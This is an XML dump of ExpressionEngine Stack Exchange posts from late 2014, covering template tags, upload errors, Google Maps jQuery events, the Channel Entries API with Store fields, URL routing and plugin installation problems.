  <row Id="26935" PostTypeId="2" ParentId="26739" CreationDate="2014-11-27T12:40:42.980" Score="1" Body="&lt;p&gt;You should be able to list entries tagged with your three tags using &lt;code&gt;{exp:tag:entries}&lt;/code&gt; and the &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#tag_separator&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tag_separator=&quot;&quot;&lt;/code&gt;&lt;/a&gt; parameter. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:entries&#xA;  channel=&quot;products&quot;&#xA;  tag_separator=&quot;+&quot;&#xA;  marker=&quot;color&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default is a &lt;strong&gt;comma&lt;/strong&gt;. If you want tags to be separated by a &lt;code&gt;+&lt;/code&gt;, then use &lt;code&gt;tag_separator=&quot;+&quot;&lt;/code&gt;. In some cases, depending on your server and htaccess file settings, the &lt;code&gt;+&lt;/code&gt; is actually read as a space, so if the above doesn't work try &lt;code&gt;tag_separator=&quot; &quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#marker&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;marker=&quot;&quot;&lt;/code&gt;&lt;/a&gt; parameter can be used when having Tag dynamically determine the tags from the URI, which would be detected using another URI marker rather than the standard &lt;code&gt;tag&lt;/code&gt; marker segment. As an example using your case, insead of &lt;code&gt;template/tag/my_tag&lt;/code&gt; it would be &lt;code&gt;template/color/my_tag&lt;/code&gt;. Think of it as the &lt;code&gt;category&lt;/code&gt; marker segment in EE for {exp:channel:entries}.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-27T12:40:42.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26936" PostTypeId="1" AcceptedAnswerId="28942" CreationDate="2014-11-27T12:49:51.573" Score="0" ViewCount="343" Body="&lt;p&gt;I've a site running EE 2.8.1 and the allowed filesize on the server is 512M however, if I try to upload a large PDF I receive the following error: &quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error does not appear on my local, development version of the site, however I have no idea what I'd need to configure or set on the server to get this working for production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2015-02-10T15:33:17.827" Title="Large file upload error" Tags="|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26937" PostTypeId="2" ParentId="26929" CreationDate="2014-11-27T13:17:22.370" Score="0" Body="&lt;p&gt;Unfortunately you cannot disable logging based on IP or any other criteria (feature request?). The only way would be to turn logging completely on or off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for clearing the Super Search log, in the Super Search module in the CP, under the &quot;Search Log&quot; tab, there's a &lt;strong&gt;Clear Log&lt;/strong&gt; button in the bottom right of the screen to clear the log.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-27T13:17:22.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26938" PostTypeId="1" AcceptedAnswerId="32243" CreationDate="2014-11-27T15:14:02.560" Score="0" ViewCount="670" Body="&lt;p&gt;I've got a google maps for EE map with multiple pins working. I've also set it to add a class to a div further down the page when clicking a pin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what I need is to remove that class when closing the infobox. Unfortunately I am unable to figure out how to target the close button as the inspector doesn't appear to work over the map. I've tried toggleClass but that only works when you click the pin again, not close the infobox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current working code is here, the jquery is at the bottom in the exp:gmap:event tag pair - I've added a second event tag pair targetting the closeclick event, but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          {exp:channel:entries channel=&quot;branches&quot; disable=&quot;member_data|pagination|categories|category_fields&quot; limit=&quot;300&quot;}&#xA;&#xA;           {!--{branch_location id=&quot;map&quot;}--}&#xA;&#xA;           {exp:gmap:marker &#xA;            id=&quot;map&quot; &#xA;            latitude=&quot;{branch_latitude}&quot; &#xA;            longitude=&quot;{branch_longitude}&quot;&#xA;            icon=&quot;/images/map-pin.png&quot;&#xA;            offsetY=&quot;-40&quot;&#xA;            offsetX=&quot;0&quot;&#xA;            geocode=&quot;false&quot;&#xA;            infobox=&quot;true&quot; &#xA;            clustering=&quot;true&quot;&#xA;            class=&quot;ui-infobox-dark&quot;&#xA;            closeBoxMargin=&quot;5px&quot;&#xA;          }&#xA;              &amp;lt;div class=&quot;ui-infobox-content entry{entry_id}&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                {branch_address} &amp;lt;br&amp;gt;&#xA;                {branch_city} {branch_province} &amp;lt;br&amp;gt;&#xA;                {branch_postcode} &amp;lt;br&amp;gt;&#xA;                Work Phone: {branch_phone} &amp;lt;br&amp;gt;&#xA;                Toll Free: {branch_toll_free} &amp;lt;br&amp;gt;&#xA;                Fax Number: {branch_fax}&#xA;              &amp;lt;/div&amp;gt;&#xA;            {/exp:gmap:marker}&#xA;&#xA;            {!--&#xA;            // add active class to branch card to highlight it.&#xA;            --}&#xA;            {exp:gmap:event id=&quot;map&quot;}&#xA;              $('.block article.entry{entry_id}').addClass('active');&#xA;            {/exp:gmap:event}&#xA;&#xA;{exp:gmap:event id=&quot;map&quot; event=&quot;closeclick&quot;}&#xA;    $('.block article.entry{entry_id}').removeClass('active');&#xA;{/exp:gmap:event} &#xA;&#xA;          {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2014-11-27T16:04:40.587" LastActivityDate="2015-07-08T18:56:40.527" Title="Googlemaps InfoBox target close button with jQuery" Tags="|jquery|google-maps-for-ee|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26939" PostTypeId="2" ParentId="26932" CreationDate="2014-11-27T19:10:24.833" Score="0" Body="&lt;p&gt;Why don't you just ban or delete the account? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, one method would be to run a MySQL query update on the members table row of that member_id and insert nonsense into the password and salt fields, or better yet, take a look at the Auth library hash_password method and generate a usable password hash and salt and insert that.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-11-27T19:10:24.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26940" PostTypeId="2" ParentId="26932" CreationDate="2014-11-27T21:57:05.207" Score="4" Body="&lt;p&gt;The language is somewhat unclear on that screen. What you actually need to enter is &lt;em&gt;your&lt;/em&gt; current password, not the &lt;em&gt;user's&lt;/em&gt; current password.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-27T21:57:05.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26941" PostTypeId="1" AcceptedAnswerId="26947" CreationDate="2014-11-28T00:32:31.863" Score="1" ViewCount="107" Body="&lt;p&gt;I can't understand how to made URL structure for page&#xA;For eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/template_group/temlate1/template2/template3&quot; rel=&quot;nofollow&quot;&gt;http://site.com/template_group/temlate1/template2/template3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin panel, at template group services&#xA;we have 4 templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;index&#xA;cleaning&#xA;reviews&#xA;best&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every template have url &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/index/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/index/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/best/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display some templates like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site.com/services/cleaning/reviews/best/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/services/cleaning/reviews/best/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2014-11-28T12:05:06.577" Title="URL structure for template" Tags="|ee2|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26943" PostTypeId="1" AcceptedAnswerId="27229" CreationDate="2014-11-28T02:07:36.023" Score="1" ViewCount="168" Body="&lt;p&gt;I've got a project where I need to automate the process of creating entries. I'm doing so using the ExpressionEngine Channel Entries API but as part of that I need to set a price for the entry in the Store field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands when a Store field is present in the channel I get PHP errors when submitting data, it seems that Store is being called somewhere along the line by the Channel Entries API and then doesn't have the data it's expecting so I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Invalid argument supplied for foreach()&#xA;Filename: Service/ProductsService.php&#xA;Line Number: 137&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code I'm using to inject new entries or update existing entries is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$channel_entry_data = array(&#xA;    'title' =&amp;gt; (string)$data['metadata']-&amp;gt;title,&#xA;    'status' =&amp;gt; 'open',&#xA;    'field_id_188' =&amp;gt; (string)$data['metadata']-&amp;gt;description,&#xA;    'field_ft_188' =&amp;gt; 'none',&#xA;    'field_id_206' =&amp;gt; strtotime($data['metadata']-&amp;gt;date),&#xA;    'field_ft_206' =&amp;gt; 'none',&#xA;    'field_id_189' =&amp;gt; (string)$data['metadata']-&amp;gt;type,&#xA;    'field_ft_189' =&amp;gt; 'none',&#xA;    'field_id_190' =&amp;gt; (string)$data['metadata']-&amp;gt;format[0],&#xA;    'field_ft_190' =&amp;gt; 'none',&#xA;    'field_id_208' =&amp;gt; (string)$data['metadata']-&amp;gt;format[1],&#xA;    'field_ft_208' =&amp;gt; 'none',&#xA;    'field_id_191' =&amp;gt; (string)$data['metadata']-&amp;gt;identifier[0], // required&#xA;    'field_ft_191' =&amp;gt; 'none',&#xA;    'field_id_192' =&amp;gt; (string)$data['metadata']-&amp;gt;identifier[1], // required&#xA;    'field_ft_192' =&amp;gt; 'none',&#xA;    'field_id_193' =&amp;gt; (string)$data['metadata']-&amp;gt;source,&#xA;    'field_ft_193' =&amp;gt; 'none',&#xA;    'field_id_194' =&amp;gt; (string)$data['metadata']-&amp;gt;rights,&#xA;    'field_ft_194' =&amp;gt; 'none',&#xA;    'field_id_209' =&amp;gt; $store_product_data,&#xA;    'field_ft_209' =&amp;gt; 'none'&#xA;);&#xA;&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $channel_entry_data, FALSE);&#xA;&#xA;if (ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($channel_entry_data, $channel_id, $existing_entry_id, NULL)) {&#xA;    return TRUE;&#xA;} else {&#xA;    return FALSE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;store_product_data is an array as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$store_product_data = array(&#xA;    'price'=&amp;gt;1,&#xA;    'length'=&amp;gt;NULL,&#xA;    'width'=&amp;gt;NULL,&#xA;    'height'=&amp;gt;NULL,&#xA;    'weight'=&amp;gt;NULL,&#xA;    'handling'=&amp;gt;NULL,&#xA;    'free_shipping'=&amp;gt;1,&#xA;    'stock'=&amp;gt;array(&#xA;        array(&#xA;            'id'=&amp;gt;NULL,&#xA;            'sku'=&amp;gt;NULL,&#xA;            'track_stock'=&amp;gt;NULL,&#xA;            'stock_level'=&amp;gt;NULL,&#xA;            'min_order_qty'=&amp;gt;NULL&#xA;            )&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work, I get the PHP error for every entry I insert and a bunch of empty rows for each entry in the exp_store_products table, but none of the actual product data (price and free shipping toggle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts/suggestions greatly appreciated. I want to use the channel entries API if I can but maybe I just need to resort to a quick and dirty DB insert.&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-11-28T09:21:35.993" LastActivityDate="2014-12-23T19:24:24.027" Title="How to submit Expresso/DevDemon Store data via the Channel Entries API?" Tags="|expresso-store|expresso|devdemon|channel-entries-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26944" PostTypeId="2" ParentId="26907" CreationDate="2014-11-28T04:43:32.660" Score="1" Body="&lt;p&gt;Thanks Derek Hogue for the reply. But I have found a work-around for this. &#xA;I manipulated the config file according to the URI.Changed the LINE #173, and added an IF-ELSE condition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(stristr($_SERVER['REQUEST_URI'],&quot;&amp;lt;Mypage_URI_Where_I_Dont_Cant_Captcha&amp;gt;&quot;) || stristr($_SERVER['HTTP_REFERER'],&quot;&amp;lt;Mypage_URI_Where_I_Dont_Cant_Captcha&amp;gt;&quot;)){&#xA;    $config['captcha_require_members'] = 'N';&#xA;}else{&#xA;    $config['captcha_require_members'] = 'y';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone looking for a similar work-around. Many thanks once again.&lt;/p&gt;&#xA;" OwnerUserId="3823" LastActivityDate="2014-11-28T04:43:32.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26946" PostTypeId="1" CreationDate="2014-11-28T11:55:47.730" Score="0" ViewCount="62" Body="&lt;p&gt;A client on EE2.5.2 has just found that they can't login with Safari 7.1 on OSX. Chrome and FF work fine, but in Safari, pressing Submit just returns them to the blank login page. I tried changing &quot;Control Panel Session Type&quot; to &quot;Cookies only&quot; but that didn't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could try upgrading them to 2.9 but don't want to charge them for an upgrade if it's not guaranteed to fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might be happening? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2015-03-01T06:56:18.277" Title="EE2.5.2 login doesn't work from Safari 7.1" Tags="|ee2|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26947" PostTypeId="2" ParentId="26941" CreationDate="2014-11-28T12:05:06.577" Score="2" Body="&lt;p&gt;It's important that you understand how EE parses URLs to determine what to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally it goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template-group/template/entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template-group/template/category-trigger-word/category-id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way you described your setup you seem to want to show two templates from the services channel at once (cleaning and reviews). Clearly this can't be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of ways to do what you want:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using EE's native parsing&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Set up your template group, &quot;services&quot;. Then create your &quot;cleaning&quot; template.&#xA;Within this template you can place a conditional which looks at the third URL segment ({segment_3}) and will then output the required reviews content. This might be done directly on the template, or by means of an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use the Pages module&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The pages module is really meant for the occasional static page but you could use it for this. It will allow you to set a custom URL for an entry and also choose which template should be used to render it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use Template Routes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Template routes are very powerful and will let you set up different URLs to load specific templates. Within the route you can include rules to make sure your segments are a particular type.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use an add-on such as Structure&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Love it or hate it but Structure can be extremely useful for some sites. This may be the simplest solution for you but be warned, it can bring it's own problems too.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-28T12:05:06.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26948" PostTypeId="1" CreationDate="2014-11-28T12:32:34.497" Score="1" ViewCount="106" Body="&lt;p&gt;I've just upgraded a large site from EE 1.6.8 to 2.9.2 and now cannot install Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was an install of Freeform on the old site pre-upgrade. Once the upgrade was complete I tried to upgrade Freeform but kept getting errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then removed Freeform entirely from the upgraded site but still get errors, I've dropped all of the tables in the DB related to Freeform but still get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;:&quot;&#xA;Error Number: 1146&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;Table 'darrenc_dsx14.exp_freeform_preferences' doesn't exist&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;SELECT `preference_name`, `preference_value`\nFROM (`exp_freeform_preferences`)\nWHERE `site_id` = '0'&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;Filename: third_party\/freeform\/models\/freeform_model.php&amp;lt;\/p&amp;gt;\n\n&#xA;&#xA;Line Number: 330&amp;lt;\/p&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2014-11-28T12:32:34.497" Title="Cannot install Freeform after upgrade" Tags="|solspace-freeform|upgrade|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26951" PostTypeId="1" CreationDate="2014-11-28T19:12:04.160" Score="1" ViewCount="275" Body="&lt;p&gt;I am trying to create a form - FRONT END USER (channel form tag) - that uses a wizard (which is working) and in one panel it allows the user to fill in fields then duplicate the fieldset to add another set of criteria. I emailed Andris (P&amp;amp;T) and he sent me &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; as a guide. I need some help, please.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;fields&quot; id=&quot;sortable&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;field&quot;&amp;gt;&amp;lt;!MATRIX FIELDS--&amp;gt;&#xA;            &amp;lt;input class=&quot;new_row_id&quot; type=&quot;hidden&quot; name=&quot;fundraising_organization[row_order][]&quot; value=&quot;row_new_0&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising name&quot;&amp;gt;Fundraising Organization Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][10]&quot; value=&quot;{fund_name}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising address 1&quot;&amp;gt;Address 1&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][11]&quot; value=&quot;{fund_address_1}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising address 2&quot;&amp;gt;Address 2&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][12]&quot; value=&quot;{fund_address_2}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising city&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][13]&quot; value=&quot;{fund_city}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising state&quot;&amp;gt;State&amp;lt;/label&amp;gt;&#xA;                     &amp;lt;select&amp;gt;&#xA;                        {options:fund_state}&#xA;                        &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_value}&amp;lt;/option&amp;gt;&#xA;                        {/options:fund_state}&#xA;                    &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising postal code&quot;&amp;gt;Postal Code&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][15]&quot; value=&quot;{fund_postal_code}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;fundraising website&quot;&amp;gt;Website&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;fundraising_organization[row_new_0][16]&quot; value=&quot;{fund_website}&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;div class=&quot;buttons&quot;&amp;gt;&#xA;                    &amp;lt;input id=&quot;new&quot; type=&quot;button&quot; value=&quot;Add Another Organization&quot;&amp;gt;       &#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;          &#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should look like this (can't get Field Pack option to show either in above code):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7DEpN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3009" LastEditorUserId="3009" LastEditDate="2014-11-28T19:18:51.077" LastActivityDate="2021-09-15T14:04:10.327" Title="Bring Matrix Data Editing to the Front-End using Channel Form" Tags="|matrix|safecracker|pixelandtonic|fieldtype|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26952" PostTypeId="2" ParentId="26951" CreationDate="2014-11-29T00:17:19.077" Score="0" Body="&lt;p&gt;Had the same problem with a Field Pack Dropdown field, according to the author of the post on &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bring Matrix Data Editing to the Front-End&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the reason it will not work is because the {options} tag pair for&#xA;  ‘fund_state’ is looking for ‘root level’ options, and it (this native&#xA;  usage) does not have a method for looking into a column of that field&#xA;  since Matrix is third-party.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Got around this thanks to the answer to my question on this page: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/26144/48&quot;&gt;https://expressionengine.stackexchange.com/a/26144/48&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-11-29T00:17:19.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26954" PostTypeId="1" CreationDate="2014-11-29T06:53:57.070" Score="0" ViewCount="108" Body="&lt;p&gt;I am building a website in EE which has menu and menu items . For example, I create a menu called Events which has items called Local Events, International Events etc.  The Events, local events, international events are pages which I create using pages module.&#xA;       What I have done is, I created a &quot;Pages&quot; channel. I also created a relationship field from where one can selected the parent page. But the problem is when I when select the drop down it also shows parent+child pages, that is the international, local events pages also in the relation drop down.  I just want the main pages to be shown in the relation drop down.&#xA;       Can some suggest a solution, how it can be done. Or should I have to create 2 channel, Main pages channel and sub-pages channel ?? &lt;/p&gt;&#xA;" OwnerUserId="3824" LastActivityDate="2014-12-02T14:45:54.747" Title="Expression Engine Menu-Menu items" Tags="|relationships|channel|parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26956" PostTypeId="1" AcceptedAnswerId="26968" CreationDate="2014-11-29T18:17:20.480" Score="0" ViewCount="510" Body="&lt;p&gt;I have been struggling with managing domains for two separate EE installations. Htaccess redirects only seem to work with the site's homepage. Anything beyond that results in a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt; is set as the root, and uses index.php to set the systempath variable thusly: $system_path = ‘./site1/‘;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 301 redirect was pointing &lt;a href=&quot;http://domain2.com&quot; rel=&quot;nofollow&quot;&gt;http://domain2.com&lt;/a&gt; to &lt;a href=&quot;http://domain2.com/site2&quot; rel=&quot;nofollow&quot;&gt;http://domain2.com/site2&lt;/a&gt;, which is what is causing the template mapping to fail. So, &lt;a href=&quot;http://domain2.com/template_group/&quot; rel=&quot;nofollow&quot;&gt;http://domain2.com/template_group/&lt;/a&gt; results in a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is point both domains toward the root, and have the index.php file detect the URL and do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if url is domain1.com { &#xA;    $system_path = ‘./site1/‘;&#xA;} if elseif url is domain2.com {&#xA;    $system_path = ‘./site2/‘;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m not sure what the proper syntax to use is, though. I know that CodeIgnitor has some specific functions for handling URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, if someone can help me figure out why the htaccess isn't functioning. Either way, I just need to resolve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ty&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2014-12-01T17:13:54.143" Title="Index.php redirect based on url" Tags="|htaccess|redirects|index.php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26959" PostTypeId="2" ParentId="24812" CreationDate="2014-11-30T22:53:23.763" Score="0" Body="&lt;p&gt;We've just had the bulk discount configured to work with store 2.4 by another extension developer. &#xA;You're right, it doesn't accept percentage discounts however you could easily use &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab&lt;/a&gt; to import the matrix fields all at once across any product range you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure we could put you in touch with the developer that made the add on compatible with store 2 if you wanted...&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2014-11-30T22:53:23.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26962" PostTypeId="2" ParentId="26946" CreationDate="2014-12-01T05:45:29.083" Score="1" Body="&lt;p&gt;The 2.5.x branch has cache issues if I recall and depending on your system, 2.9.x can break a few things (plugins, conditionals, etc). Upgrading to a stable version before all the big changes, like 2.7.3, should be enough to enable &quot;cookies only&quot; and have it work reliably. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-12-01T05:45:29.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
